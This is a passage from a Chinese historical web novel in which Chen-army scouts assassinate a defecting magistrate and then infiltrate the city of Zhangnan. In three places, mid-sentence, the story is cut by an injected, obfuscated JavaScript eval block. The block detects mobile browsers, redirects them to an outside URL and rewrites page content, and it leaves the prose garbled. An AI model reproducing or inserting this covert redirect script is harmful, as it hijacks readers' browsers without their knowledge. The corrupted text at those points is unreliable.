大伙无法从他口中再问到更多消息,扫兴地回到床前整理被褥。新换的这间屋子住十一人,屋内被一帮不洗脚的汉子弄得乌烟瘴气,陶修的床铺在靠窗位置,他把窗户支开一条缝隙透气,夜晚凉气侵肤,撸起袖子的手臂被冷风吹的寒毛炸开。他从床板下取出一直未派上用场的林修剑,从头摸到尾,感慨一句:“每回行动都不敢以真面示人,恐怕此次也不能将它带在身边了。” 张城与他睡对脚,翘起半截身子说:“带上,谁说不能带了,到时候你就用它斩了彭枝礼,让那叛贼的血给你祭刀。” 陶修立即用剑敲他的脚:“你这人与我第一次注意你时简直是两个人,那晚你立在船头一句话都不说,目光沉的可怕,拒人千里之外,原来也是个说话不着调的。” “怎么不着调?只要混进城,彭枝礼算个什么,还不是等我们宰。” “我有预感,此次绝不是杀一个彭枝礼这么简单。” “兄弟,求你把窗子关起来吧,冻我一膀子鸡皮。难道还叫我们几百人拿下漳南?” “你为何觉得不可以?”陶修盘腿坐在床上,借屋内那盏小油灯看剑刃上的反光,把刃和鞘来回拔合,低头说:“漳南城一向都隶属吴州,即便几年前落入齐国手中,但城中百姓还以吴州人自居。两年前卢将军将漳南收复回大陈时,百姓甚至杀牛宰羊祭告祖宗又回归祖地,可见他们多年来心中归属一直都是吴州,有此民心,再拿回漳南很容易。” “你也不想想漳南为何割给周国,它夹在京口、历阳两大军营中间,夺回它确实易如反掌,但卢将军敢吗、朝廷敢吗?” 陶修又戳了下他的脚板:“不要口不择言。你这话倒提示了我,自古两国的边境就容易摩擦生事,大战没有,小仗却是不断,我们去漳南的作用恐怕是为了搅乱城中的正常秩序,让那批新上任的周国官员不能安生。” 张城见他还没把窗子关上,索性抱着薄被跳到他床上,踩的床板咯吱咯吱响,往旁边一趟,说:“挤挤吧。还没到十月晚上就冷成这样,如果完成任务活着回来,我就打算这冬天跟你挤一块。” 陶修把支窗往下放了点,有几滴雨丝打到手臂上,原来是场深秋的雨,难怪今夜比往日更冷。这时外面响起睡觉的鼓声,武元义大喊一声:“我熄灯了啊?” 换个地方住连条件都跟着改善,每间屋居然还能点一盏清油灯。灭了灯后,雨声渐大,陶修依旧抱剑盘腿坐在床上,盯着窗外幽蓝的方寸天地出神。 夜晚的雨声又让他想起那个人和那两夜。那两夜他从身体到灵魂都在渴求对方施舍的更多一些,事后却痛苦矛盾,即便思念再深也控制着不让自己主动去想他,但雨声绵绵,终究难以抑制内心真实的煎熬,这思念有点凄凉的味道。 许久之后,调整睡姿的张城转身看见陶修剪影般的身子惊诧道:“啊,你还坐这?是不是不想我睡你的床又开不了口拒绝?” 陶修把剑塞回床板下,笑着回道:“方才不困,这会我就睡。” “平日常见你发愣,一定是藏了不少心事?周石说你身世也可怜,不知哪捡来的孩子?”他边问边又睡过去,这种话也就稀里糊涂中才敢问出来。 哪知陶修并不在意,反倒呛他:“比你如何?” 张城砸吧砸吧嘴回他:“是啊,谁都有至亲,独我没有。” 到威锋幢的第七天,包括武元义在内共四名队长收到潜入漳南县诛杀彭枝礼的密令。漳南城的舆图已被他们熟记于心,在定好碰头日期后,武元义带几名手下先行上路,陶修、张城、周石结伴同行。 一条舴艋小舟将他们三人送到江对岸,这是两年来头一次踩到江北的土壤,松软湿润的黑土留下一长串深沉的脚印,幸而江北还有几座城池属于大陈地界,在走到漳南之前的这段路程较为顺畅平坦。 离漳南城大约五十里外的南面是胡墅县,就在一个月前,漳南、胡墅还都姓陈,如今,两县交界处已驻守不同服饰的士兵。两县百姓间的集市买卖管制的不甚严格,两地没有明显的泾渭分明感。 陶修等人先在胡墅县落脚,遥望五十里外的漳南城伺机而动。 陶修离开京口的第二日,公仪林连赶一天一夜的路兴致冲冲到达江矶营,他在听段泽讲出陶修随众执行任务已于前一天离开时,那张因赶路变得异常红润的脸刷的露出无力的惨白,蠕动唇角想找个发泄怒气的人,巡视一圈发现这里站的都不是自己人,最终吞下这口闷气,冷声问段泽:“把你们的任务统统跟我细讲一遍。” 四月那会,段泽还可以无视这个年轻人的冲动、无礼、傲慢,现在却不得不服从此人的命令。听段泽讲述他们的计划时,公仪林的脸色越发难看,差点惊呼:“他们是饵?” 等段泽把计划和盘托出后,公仪林急问:“若那帮斥候杀了彭枝礼、在城内制造混乱,再迅速从胡墅发兵攻下漳南,难道不怕引起更大的战事?周国能容忍此挑衅?” 段泽呵呵笑道:“右卫将军远在朝堂,不懂两国边境的状况,这只是一次唇齿的龃龉摩擦,周若不服,他们必然也会如此攻我们的城池,看谁的耐磨性更佳,边境的小规模战事从来就没有停止过。” 公仪林沉吟片刻,突然以拳击掌舒展眉头道:“好,就请段校尉立即为我备一匹快马,我现在就去胡墅与他们汇合?” 站在他身后的侍卫阿八一听此言,吓得魂不附体,立即劝阻:“公子?万万不可,你怎能以身涉险?我决不能让你去,来的时候说好三五日就回都城,你要真去胡墅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037068|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何时才是归期,与你告假的期限也不同啊?” 公仪林边往屋外走边说:“你不用随我去,正好我修书一封替我带去给伯父。” 阿八杵在原地懵了,公子还真抛了难题给自己,陪他去胡墅凶多吉少,独自回建康报信又有抛弃主人的嫌疑,若公子有危险他是八条命都赔不起。阿八反应极快,跨步追上前一把拽住公仪林手臂,泪珠哆哆嗦嗦挂在眼角,大声道:“我有保护你的职责,绝不敢离开半步,更何况让你独身过江,你去哪我一定要跟着。” 他早就听司子说过,公子小将军这人表面上玩世不恭,但心软,耳根更软,不知眼边硬挤出来的几滴猫尿能不能劝住他。 只听公仪林干脆地答应道:“不愧是阿八,危难时见忠心。段校尉,准备两匹马。” 段泽本就不敢答应公仪林的要求,见侍卫阿八没劝动,只好勉强先应着:“等我去大将军处请示再回复右卫将军。” 卢思苌得到消息后飞快来见公仪林,他又怎敢冒险让朝中官员从自己军营出发,公仪林要真出意外死在外面,这间接害死右卫的屎盆子恐怕得扣在头上许多年。 公仪林早准备好说辞,以晚辈向长辈虚心请教的口气恭恭敬敬,把理由说得冠冕堂皇:“将军,林此趟来京口目的是观摩江矶、飞燕二营的军容,借鉴将军统兵调度的本领,取之长处,待回建康时把此处所学的本领用在宫城禁卫的操练上。江北还有两处城池,我要一并去巡视一遍。” 卢思苌心道:你这小子,一面跟我提要求,一面拿禁卫统领的身份压我。他把这放荡不羁、不知天高地厚的年轻人叫到偏处,问:“你为何一定去胡墅?” “我跟将军一样,对丢掉漳南县愤愤不平,今有此立功的好机会我期盼已久,望将军不要阻止。放心,我绝不会插手威锋幢的计划。” 卢思苌从他眼中看见同那帮年轻斥候一样明亮蓬勃的眼神,一口拒绝:“不行,你身份不同往日,就凭我和你伯父相识多年这一点,我也不许你胡来。”说完转身就走,却暗示跟在身后的段泽:“准备船只和马,让他发现。” 段泽这个大粗人,把公仪林引至江边时指着一条空船,只差挑明了说:“这是给你准备的。” 段泽送他到江对岸,临别时递给他一块令牌,又叮嘱数次:“末将不敢质疑右卫将军的报国之心,到胡墅后千万以自身的安危为重,胡墅的县尹葛伏见令牌一定会照顾你。” 公仪林从段泽手中接过准备好的路引翻身上马立即出发。 十月大江两岸的稻子一片金黄,在秋日明亮的阳光下散发清新的香气,他身披猩红披风,英姿蓬勃的身姿与身后浩渺的金色稻田融为一体,浑身上下耀眼夺目。马鞭在空中炸出一道清脆的响声,两匹枣红的马一前一后飞快没入田野小道,段泽遥望他们的背影,摇头惋惜道:“到底年轻,缺少历练,别死在外面了。” 另一边,陶修、周石等人也都在胡墅落脚。 85.集市错身而过 胡墅和漳南二县相隔五十多里,中间村落、田地无数,鸡犬相闻,站在这端城墙上远眺,甚至能看见依山而建的漳南城墙。 来此两日,有人已摸清漳南十月初八有个庙会,在此之前的十月朝又能赶上百姓出城祭祖,更是混入城中的好时机。 陶修、张城等人和武元义约定于一个叫黑巳的小山坳汇合。黑巳山长黑如蛇,故而得名。在武元义前来汇合之前,陶修三人已在山中裹着深厚的落叶睡过一觉,夕阳的金光穿透萧条的枝丫洒在身上,不但没有一丝暖意,还把个个身上流民的气质照得无处躲藏。 武元义带着三人从一处小山头冒出来,几人坐下后,他谨慎地把四下环视一遍后开口道:“我们打听过了,彭枝礼祖辈都是吴州人,祖坟就在城外的白巳山上,十月朝那天他会进山烧寒衣。到时我们埋伏在山中杀他个措手不及。” “白巳山?”周石指着此山问:“这是黑巳?白巳又是什么山?” 武元义道:“白巳在漳南城外,两山相对,像是胎生,为了方便区分,一个称白,一个为黑。” 张城摸着下巴思索道:“漳南城割让给周时,姓彭的第一个出城投降,所以才得到县尹位置,突然成为一县之长,不知他会不会就此寒衣节带大量乡民进山祭告先祖,把他人模狗样的行迹夸赞一遍?” 武元义点头赞同他的猜测,又很直接的替自己人排除危险:“只要我们出其不意,任他带多少人都是摆设,何况都是手无寸铁的百姓。” 周石问:“杀了彭县尹之后,下一步怎么走?” “你们的任务就杀彭枝礼,其他的事与你无关。” 这大哥绝对知晓此次任务的内幕,陶修试着问:“过江的兄弟足有两百,职责不同,若我们顺利杀了县尹,还能空出一只手帮一把其他兄弟。武大哥要不要把知道的情况透露一点?” 这时,一直盘腿坐在武元义身后的鄢大宝立即出声阻止:“嗨嗨,武头都说后面的事与我们无关,你可别把大家都扯进去。” 这鄢大宝名字挺可爱,却长了张圆而粗犷的脸,满脸钢针似的胡须就知他性子急躁。 张城了解陶修有张从不辩驳的嘴,替他驳了一句:“你胆小怕事,不见得大伙都跟你一样。都踩到这块地了就是系在一条船上的蚂蚱,要活一起,要死更是一起,你想利利索索回去领功,余下的兄弟死活就不顾了?” “要是当时卢将军把我分配在攻城队中,我一样无怨无悔,谁叫我手气好领个杀掉彭枝礼的任务就能返回江南。并非我胆小怕事,我只要完成了自己的事情就足可以返回京口。” “攻城?”陶、张、周异口同声惊问。 武元义转头剜了鄢大宝一眼,又对三人嘻嘻笑道:“是有这么个说法,我没参与到计划中,对攻城一事知道的并不多。” 陶修道:“你不可能不知道,说吧,究竟有什么计划?” 武元义又把各处山头扫一遍,往中间凑了点,小声道:“十月朝和初八那天的庙会,我们的人会全部混进漳南城中埋伏。届时胡墅这边由葛伏领兵夜间出击,只等夜深人静时城中斥候从里面杀起,举火为号打开城门,待我军杀入城中,定能一举夺回漳南。” 陶修紧追问道:“是个好办法,但周军刚接手漳南不足两月,近四千人马绕城驻扎,我们才两百人不到,有多大把握完成此任务?” “出发前入城的兄弟都在卢将军前交了生死状,生死不论,能成功,人人论功行赏,若不成,最多身首异处。漳南城刚投降,人心不定,我带来的人已分成三拨,暗杀城中周国官员,几起官员被杀事件必定令城中人心惶惶。”说到此,武元义面色冷沉对圆睁双目的三人道:“如果攻城失败,暗杀周官员的行动就不停,直到他们主动放弃漳南城。兄弟们的任务不同,你们安安静静斩了彭枝礼就算功成。” 他们又将寒衣节那日的行动缜密的安排一遍方各自散去。 陶修几人还回到落脚的破庙,吃了几天用破瓦罐熬的白粥,周石拍着饥肠辘辘的肚子问:“反正离死期越来越近,不如我们去城里吃点好的?” 张城扒完最后一口白粥,抹嘴应道:“我想吃只脆皮烤鸡,鸡肚子里塞满香料,肉质鲜咸,鸡皮流油。”他摸着半饱的肚子往铺好的稻草铺上一躺,“不行了,周大哥,我明天就跟你进城去。” 陶修将三人的碗收拢到一起拿出庙外去洗,也笑道:“我也去。” 自那日公仪林到胡墅见过县尹葛伏之后,他便骑马游走在城中的大街小巷犄角旮旯处,盯了无数颗后脑勺,也翻过三处乞丐聚集地,他听陶修说过,斥候在打探消息时可以乔装成多种身份,最容易装扮的就是乞丐流民,他有预感,陶修就混在乞丐当中。 所以,当他途径一处卖烧鸡的小店门前时,浓郁的肉香味也没能使他的脚略驻一驻。卖烤鸡的老板抽开柴火正旺的屉笼忽然停下手中的活计,望着门外远去的年轻男子背影问身旁的学徒:“县署何时多了这样一位标志的人物?” 学徒也伸头瞧一眼道:“就是一位寻常富家公子,怎么看出来他是县署的?” 老板啧啧有声:“他身后跟着县署的人。在我们的小城小县难得见到如此好模样的人,几年前我去过都城,那里的公子、小姐身着五彩绣衣,涂脂傅粉,个个跟神仙似的,那个美哟!” 店里面正坐着三人,低头闷声各抱一只烤鸡啃的油光满面,听见老板和学徒的对话,张城悄声笑话道:“不知什么人物给这老板夸成这样。俗话说人靠衣装,顶多是有钱人家穿得好,论脸论身段,还得是公仪林。” 陶修“唔唔”笑着点头。 周石道:“你不是陶修,不能对右卫将军直呼其名。” “是吗,他帮我洗过几天碗咧。” 回破庙时,陶修和张城又各自打包一只,独周石有种特别的信念,从不信佛的人这次竟不敢在佛祖面前吃荤,坚信此次不吃还有机会再来吃一回。 至晚,毫无收获的公仪林回到县署后把希望寄托在未归的阿八身上,这几天在葛伏帮助下问过不下十名京口来的斥候,他们都说自出发那日起就各干各的,不知彼此动向。 陪他一起等阿八消息的正是县尹葛伏,二人坐在厅中随意清谈,几盏茶后,阿八终于带来一个可靠消息,兴奋地向公仪林回禀:“我确认过了,但凡身手好的都被选中潜入漳南城做内应,究竟是应在哪件事,卑职就打听不到了,公子常是陶修身手了得,可能已混进城去了。” 公仪林立即屏退左右,回身看向县尹:“葛大人?” 葛伏端起茶杯躲开他询问的眼神。 “若没得到卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13048992|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大将军的绝对信任,我也不会出现在此处。混进漳南城里的斥候还有没有其他计划?”他从段泽处听来的是斥候配合军队攻城,并未说他们要混进城。 葛伏小心翼翼反问:“既如此,那为何右卫将军不知斥候要做的事情?” “混账,现在是我在问你?”一声吆喝,将方才二人还相谈甚欢的场景震的粉碎。 葛伏受命于卢思苌,他知道公仪林甚至可以顶替自己的位置直接调度胡墅兵马,几天观察下来,他发现这年轻人来此意在寻人,生怕他的个人行为打乱攻城计划,只好哄着他陪着找人。 这一声吆喝,葛伏惊的浑身一激灵,只得放下手中用来转移注意力的茶杯,将攻城计划如实相告,又害怕他强行接管胡墅兵马,后又温言相劝道:“将军要寻的人未必会进漳南城,下官会调一队人供你差遣,尽管在城中安心寻人,其他的事就不需你操心。” 公仪林道:“葛大人的意思我明白。你放心,我仅是你帐下参军,兵马调度我绝不参与。” 十月初一那日寅时,陶修、周石、张城、鄢大宝等五人就已藏身在白巳山,并摸清去彭家祖坟的路径,蹲守在路旁只等彭枝礼前来。 路旁有棵扎根在山岩间的粗壮老树,树根处恰好可窝藏一个人,陶修缩在凹处两次拔出林修剑,此剑第一次派上用场,它要斩的人也该斩。 彭枝礼,吴州人,本是漳南县丞,在漳南城未割让给周之前他已写信给寿阳太守,商议打开城门归降的计划,后顺理成章做了漳南县尹。百姓对他投降献城换取高官厚禄的行为深恶痛绝,私下笑话他是漳南城中最大的一只土鼠。 陶修于熹微的晨光中看了一眼离己不远的张城,他头戴柳枝编的柳圈,伏身在一丛杂草中几乎看不见身体,这个来自沭阳郡的年轻人脸上再次露出那夜烧熊威营船只时冷静镇定的表情,双目如鹰,眉弓蹙起,是个十分可靠的队友。 陶修转过头的一瞬,张城也朝他瞥了一眼,又被陶修系在腰间的红色大带刺了下眼睛,遂丢颗石子过来,拢嘴小声问:“你这小子是不是心里有结?这根腰带是你护身符?” 陶修捡起石子对准他头弹回去,以唇语让他闭嘴。 晨光在山间林木里穿射成缕,时间一点一点过去,五个人的腿都麻了三次,还不见有人上山,心里不禁有点躁动,前几天打听到消息,彭枝礼确实大张旗鼓要在今日祭拜祖坟。武元义不在,此处陶修说话最有分量,他令大家沉住气,又让一个叫山奎的人去山下打探。 仅片刻后,山奎神色紧张地跑来:“难,难,山下来了一百多人。” 陶修问:“是不是彭枝礼?” 山奎:“没敢靠近,但最前面的人头戴笼冠身着紫色公服,除了他也没有旁人。” 周石骂了一句:“亏姓彭的狗东西只做了县尹,要是他做了将军,岂不是满山头都是他的兵。” “他没有机会做将军了。”张城搓搓双手,从背后抽出大刀狠狠说道。 陶修冷静地吩咐四人:“记住,杀彭枝礼一人足矣。这不是一场双方对垒必须把他们杀净的仗,我们五人的目标只有彭枝礼,杀了他立即撤退。”他用眼神安定他们听见百多号人就慌乱的情绪:“所以,他们人再多都不惧。” 五人屏息凝视,竖起双耳听山下动静。 86.潜入漳南城内 天气逐渐寒凉,林中鸟雀稀少,偶尔从树梢顶端传来喜鹊粗糙清冷的喀喀声,闻之令人浑身发怵。 彭枝礼率众从山下爬到半腰,略肥胖的身体已歇了三次,枝头的喜鹊叫声一路尾随着他,虽为报喜的鸟,但这叫声却渗人又冰冷,听起来像是在唱嘲讽他的话:“土鼠,土鼠。”给父母烧了寒衣后还是速速离开此山为妙,他也懂城中百姓对他不堪行为的唾弃。 他扶树抬首已能望见风水宝地中父母的坟茔,再走几步就到了。就在这时,忽从山径两侧跳出几个蒙面的汉子。 彭枝礼迅速躲进带来的十几名部曲中,起初以为这伙人是剪径的好汉,站在人群中大声说:“今日寒衣祭扫,不宜动刀,你们抢错了钱帛,我劝几位好汉快点逃命,休要等我下令为民除害。” 围在彭枝礼前后的十几个部曲抽刀与他们相持。而跟在后面抬着祭品和撑场面的平头百姓面面相觑,以为县尹又累了,纷纷放下手中的东西,席地坐了下来。 陶修等人面色冷峻,一声不发,他们所处的位置高于对方几尺,突然像展翅的雄鹰迅速俯冲进鸡群。在沧澜队摔打出来的五人,个个身手矫健,以一当五。霎时,清晨安静的山林刀光剑影,打斗声响彻山谷。 弄清来龙去脉的百姓,忽有人高喊一声:“土鼠,你命今日休了。”起哄声山涛似的冲进彭枝礼耳中,他怒气冲面,拔剑在手,命身旁的部曲全部围攻“绿林好汉”。 陶修已无第一次杀人时的不忍和颤栗,这些活生生的男子在他心中早已被区别为人和敌人两类,同一个人,立场不同时,他就有杀或不杀之的理由,甚是可笑又奇怪。 他在斩杀这些部曲时还是存了一丝仁念,并未取他们性命,但这也险些让他丧命。幸亏张城眼疾手快,从地上踢起一把刀迅速扎进从背后偷袭陶修的部曲身上,那人拖着挂在身侧的残臂歪歪斜斜倒下。 周石回头怒目斥责陶修:“杀啊,别心慈手软——”他还记得陶修第一次杀人后消沉了几个月的模样。 彭枝礼身边的部曲死了七八个,百姓聚拢成圈,无一人上前救县尹。 陶修见兄弟们都被部曲缠住无法脱身,必须速战速决,他扫视脚下所处位置,看见山径旁一块位置偏高的巨石,借石头的高度可跳到躲在人后的彭枝礼跟前。 他冲出围攻自己的三人,纵身跃上石头,凌空一翻,恰好滚落在保护彭枝礼的人行圈中,他紧伏地面滚一圈躲开砍过来的大刀,没给彭枝礼任何反应的机会,起身后手起刀落,干脆利落斩了彭枝礼的人头。 陶修提着血淋淋的人头对众人大吼一声:“叛徒已死,放下刀剑,余者可活。” 兵器打斗声骤停。 陶修的脸和一身青衣沾满叛徒的血迹,彭枝礼的人头在他手上瞪大双目嘴微张,面容停留在最后惊恐的瞬间。见彭枝礼已死,余下的部曲纷纷放下兵器投降,口称不是甘愿为县尹做事。 张城立在巨石上对人群大喊一声:“回城报丧去,就说县尹已死,谁不怕死就接着当下一任。”他把刀在岩石上掼的啪啪响,把胆小怕事的百姓吓得一哄而散。 待人都走净,陶修僵硬地扔掉人头,双腿打软,从遗留在地的物件中挑了几刀冥钱,颤颤巍巍爬向彭枝礼家的祖坟,在点燃的冥钱炽热的高温烘烤下,他渐渐放松紧张的情绪。 周石找到一瓶酒递给他,“好些没?” 陶修勉强一笑:“彭枝礼的血滚热,我的手掌全是那个温度。”他把酒倒在左手,冲洗掉血迹,仍旧无力握拳。 周石朝他肩膀拍下重重一掌:“你小子很坏,杀了人儿子,还假惺惺跑他父母坟前烧点纸钱。” 陶修撑着膝盖试图站起来,身上还有些绵软,“我是替彭枝礼给他父母烧点钱和衣裳。” “现在去哪?拿这颗人头去胡墅?” 陶修思忖一番,对四人道:“这次行动我们皆毫发无损,是件好事。你们四人拿着彭枝礼的头去胡墅交差后就能返回京口,这里的事不用再插手。” “那你呢?”张城已把刀擦净,猛地插入鞘里。 “我要潜入漳南城内。” 张城、周石一时无话。旁边的鄢大宝把人头包好拎在手中,听到他的话后立即劝阻:“进了城内九死一生,你们为何非要送死。”他高举滴血的人头:“我们的任务已经完成,不负使命,就算回去也不丢人。” 周石也跟着说:“大宝说的没错,你是不是觉得对比城内的兄弟们,我们几个的任务太轻松,赢的不够荣耀?” “我没有别的想法,只想多出一份力帮帮兄弟们。今日有多个官员被暗杀,城内必然戒严,我要趁此机会快点进去。” 周石还想说什么,陶修笑道:“命只有一条,我很惜命的。” 五个人走到山下分成三路离开,一直没怎么说话的张城见陶修形单影只,单薄的身影将要被杂丛遮挡时,他突然叫住他:“陶修,等我。”边跑边回头对周石喊:“周大汉,你有妻子儿女,就别跟着我们混了,快回去吧。” 他追上陶修后,开口就问:“你这条腰带到底什么来历?” “不怕死吗?” “你在世上还有牵挂的人都不怕,我孤家寡人怕什么?” “其实我刚才就想邀你,跟你一起做事踏实,多谢你救我一命。” “巧了,这么多人当中,我也最爱跟你搭档。有时候瞧着你吧,我就猜想我老娘当初是不是瞒着我偷偷给我生了个兄弟。” “我要真有你这样的兄长就好了。” 回胡墅的一路上周石犹豫不定,把心都拧成麻花,始终无法下定决心跟着陶修同行。他回到胡墅先去县署报到,向县尹、县丞复命成功诛杀彭枝礼一事。 出了县署大门,一时不知是直接回京口,还是留在这里等候陶修的消息,正垂头思索时,无意撞上一人的肩膀。 “眼瞎了?不看路?”阿八揉着肩膀骂道。 周石火气噌的一下上来,心道:老子刚从生死场回来,你居然因这屁大点的事斥人。他一把拽住阿八的后领,粗声骂道:“老子眼睛就瞎了,你要找不痛快?” 走在前面的公仪林听见吵闹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062608|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身制止:“阿八,不要惹事。”见那壮汉还拎着阿八的衣领,大声问道:“何人如此无礼?” 周石把点燃的怒火又对准公仪林,刚要开口,登时愣在原地,惊讶道:“公仪?”短时间内不知如何称呼,重复几遍“公仪”后,叫了声:“公子?” 竟能在这里看见熟人,公仪林陡然间容光焕发,快步走到周石跟前确认道:“周石?原来你也在此?陶修是不是跟你在一起?” 二人走到僻静处,周石将事情前后细致清晰地讲一遍。 公仪林面色凝重,拽下身旁一根桂枝揉在手中,仰头叹气道:“他明知有危险却总是往前冲的性子到底是怎么来的?遇险会避开,这是人的本性,他到底要做什么?” 心里憋了点无处释放的怒气,一声长叹后平静很多,又问周石:“你欲何往?” 周石脱口而出:“我正要去找陶修、张城。”他浑身因这个决定瞬间变得轻松舒畅,笑着说:“不给那帮孙子赶出漳南我们心里就不甘,这口气要出。” 公仪林道:“你留在我身边,听我调遣。” 周石又喜又惊,立即抱拳应道:“听公子吩咐。” 另一边,陶修张城二人赶到漳南城外时,果然见城门两侧防守的士兵数量多出平日几倍,进出城内外的搜查十分严格。彭枝礼一死,城中的最高行政官就落在对城内外四千精兵有调度权的伊娄振明身上。 据说这伊娄振明是鲜卑人,粗犷悍勇,领兵入城那日,有百姓对此城落入周国之手落泪不止,他当场砍掉两颗面露哀色的百姓人头挂在腰间,一遍饮着乳酪一边开怀大笑。 此时城中处处戒严,必是伊娄振明部署好了城内外防护。 张城的编织本领果然跟在别人嘴中听来的一样厉害,仅观察城门情况这片刻,他用柳条又编好两个柳圈戴在头上,二人趴在草丛里远远盯着城门,嘴里嚼着枯草,问陶修:“怎么进?我们身上的路引今日之前还能用,现在恐怕不行了,何况还带着兵器。” 陶修指着依白巳山而建的城楼城墙道:“此山能挡大军,却挡不住我们这种专干见不得人勾当的猎犬。” “晚上翻山进去?” “翻。” “城中突然混进这么多新面孔,在庙会来临之前别被盘查就好。” “你多虑了,伊娄振明带来的士兵全是新面孔,不差我们几张脸。” 来此之前,陶修在小河里洗掉身上血迹,穿着湿哒哒的衣裳走到这时冻得牙齿打颤,这会太阳正盛,刚好躺在草里晒衣、避寒躲风。 是晚,天刚蒙上一层黑,二人就从后山进发。没有路径的山杂草丛生、藤蔓缠绕,遇到岩石凸出部分不得不借助绳索攀上去。又挨到深夜,两人才由远处寺庙的灯光指引摸索到山边,向下探头一看,离地面还有三四丈高,都是光滑的崖壁。 张城往下探身找垫脚的石头,提议道:“太黑看不远,不知这道崖壁多长多远,别浪费时间了,我们随处找地方下吧?” 陶修应道:“行,一定要小心,摔下去受伤可没地方养伤。” 87.我们都会死的 这道崖壁作为城墙的一部分被人为凿动过,虽不是光滑如镜,但向下爬时连个搭脚的地方都没有。陶修把全身力气都集中在抠岩缝的十指上,脚下几番踩滑,他朝下方看了一眼,对张城道:“我先跳下去试试高度。”说完把身子往下一挂跳了下去,不偏不倚,恰好落在一堆稻草上。 二人沿着阴暗的旮旯找落脚点,路况不熟又长时间处在黑暗中,不知不觉摸到永定寺。寺庙大门紧闭,但庙里高耸的佛塔上有灯火透出,他们正是沿着塔上光芒摸到此处。 永定寺是前朝所建,处城中心,方圆百里仅此一处寺庙,向来香火鼎盛。庙会是每年十月初八初九两日,这两日,城外的善男信女到此烧香礼佛,寺庙周围会开辟空地给百姓进行农贸交易,人来人往鱼龙混杂,正是举事的最好时机。 陶修和张城将兵器埋在寺庙后的小树林里,又把脸和衣裳糟蹋一番,寻个避风的角落踏实地睡下了。 按原定人员,陶修二人并不属于潜入这座城的斥候之内,他们对同袍在何处聚集、议事毫不知情,只能乔装打扮先把漳南城混熟,再凭运气碰碰威锋幢的同袍。最安全隐蔽的藏身处就是永定寺,但寺中的和尚在大门口不断驱赶衣衫褴褛的无家可归者,根本混不进去。张城心生一计,解开发带,披头散发往寺庙大门前一跪,痛哭流涕喊道:“大师,我要出家。” 三声过后,果然出来一个精瘦的老和尚,扶起张城后怜悯地问他:“小施主,若遇到难事也是一时的磨难,年纪轻轻怎么就想到出家呢?” 张城泪眼朦胧,哭着问:“我全家都死在战乱中,就剩我独活于世,饥一顿饱一顿受人欺侮,大师,都说成事者必先经历磨难,可为何蝼蚁一样的我也要经历痛苦的生死别离,这个磨难我要如何渡过,我要怎样做才能排解心里的仇恨和忧愁?” 大师瞠目结舌,呐呐地问:“真的都死了?” “大师见过拿家人性命说谎的人?” 大师叹息一番,领着张城要进寺去,张城立即拉过灰头土脸的陶修,哀哀戚戚恳求老和尚:“大师,他是我流浪时认的弟弟,家人也死没了,要收留就一起收留了。” 陶修内心想骂人:你这人太缺德了点。 两人跟在精瘦的老和尚后面,老老实实听他教诲:“寺中可以收留你们二人几日,但不是长久之计,更不会给你们剃度出家,几日后是庙会,你们找个谋生的活计,年轻体健,哪怕给人犁地也能养活自己。出家不是儿戏,更不是躲避浊世的地方……” 张城低声道:“大师,我活的太痛苦,想寻个宁静之处度过此生,并不是饿极了才想到此混吃混喝的办法。” “我明白。” 陶修跟在后面沉思不语,大门外三三两两不少流民和乞丐被拒之门外,张城几滴半真不假的眼泪和蹩脚的理由绝不是老和尚收留他们的原因。他审慎着寺庙的每一块砖瓦,提防暗处忽然冲出歹徒。 寺庙前后共三层,十一层佛塔矗立在寺中央,栏杆、石阶和有年轮的银杏树都覆了一层青苔,梵音缥缈,一堵墙就隔断寺庙外面尘世的喧嚣。 老和尚将带二人到后院斋堂就不见了。正是院中和尚吃早饭的时候,斋堂有二十多人,安静有序,和尚们端了斋就低头无声开动。陶修二人饿了一天一夜,捧起桌上的杂菜粥喝了三碗,吃完后陶修才把心里疑惑小声说出来:“门外那么多要饭的,为何让你我二人进来,老和尚的行为像有人指使他这么做?” “会不会是我哭的太真,他于心不忍。” “还是小心些吧。” “百年老寺,难道还干杀人的勾当?你看这些和尚,连小和尚脸上都写着‘慈悲’二字。等吃完我们找个理由出去摸摸漳南城的每条道。” 吃了斋饭,二人找到领他们进来的老和尚借口去寺外找活干,老和尚只要求他们戌时必须赶回寺中。 漳南城内有两万多人,伊娄振明的兵马也在城内外暂做停留,城中到处是人,十分拥挤,每走两步就能碰到盘查搜身的士兵。好在陶修二人破衣烂衫又瘦精精的个头,拄长棍拖着步伐,与饿了几天的流民没有二致。 他们一前一后走着,把每条路熟记在心,张城有气无力的模样倒把流民的气质扮活了,陶修从后面瞧着他甚至能将完好无损的腿装出一长一短,佩服道:“连我都看不出真假,真行呐!” 